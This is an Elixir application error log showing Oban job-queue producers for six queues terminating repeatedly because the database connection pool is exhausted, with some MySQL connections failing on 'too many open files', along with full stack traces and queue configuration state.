[Sat Sep  5 23:19:40.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1890ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:19:28.241099Z], limit: 5, uuid: "7abd36ae-7b36-4af5-84e9-a7654ff8a7b0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:19:28.241104Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.4980>, refresh_timer: #Reference<0.2525715032.1077411843.247799>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:19:40.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1882ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:19:28.239247Z], limit: 3, uuid: "0c195c57-6947-4be8-8313-20825812fb91", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:19:28.239256Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.4982>, refresh_timer: #Reference<0.2525715032.1077411843.247753>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:19:40.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2011ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:19:28.240712Z], limit: 20, uuid: "512f945b-f31f-4b42-9597-d22bbb39365f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:19:28.240717Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.4979>, refresh_timer: #Reference<0.2525715032.1077411843.247787>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:19:41.169000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:19:44.861000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:19:44.966000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:19:48.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2081ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:19:36.243916Z], limit: 50, uuid: "060464ef-864d-4bce-934f-734b963cde84", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:19:36.243922Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.5137>, refresh_timer: #Reference<0.2525715032.1068498948.5134>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:19:48.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2085ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:19:36.238431Z], limit: 10, uuid: "93163eee-5180-4293-a8d4-19a8bde2498a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:19:36.238438Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.115759>, refresh_timer: #Reference<0.2525715032.1121189889.115747>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:19:48.909000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:19:50.358000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:19:51.343000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:19:51.389000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:19:52.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1858ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:19:40.239586Z], limit: 3, uuid: "e25bfd03-9892-4ac6-a546-0b36cc547722", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:19:40.239592Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.248180>, refresh_timer: #Reference<0.2525715032.1121189889.115792>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:19:52.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2091ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:19:40.239584Z], limit: 5, uuid: "2dd924d7-ac90-4116-b58a-03792aa14218", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:19:40.239591Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.248181>, refresh_timer: #Reference<0.2525715032.1099431938.16489>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:19:52.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1821ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:19:40.242317Z], limit: 20, uuid: "5a180e75-80b7-42c6-912b-7d0a3417feef", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:19:40.242323Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.248179>, refresh_timer: #Reference<0.2525715032.1077411843.248160>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:19:52.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1858ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
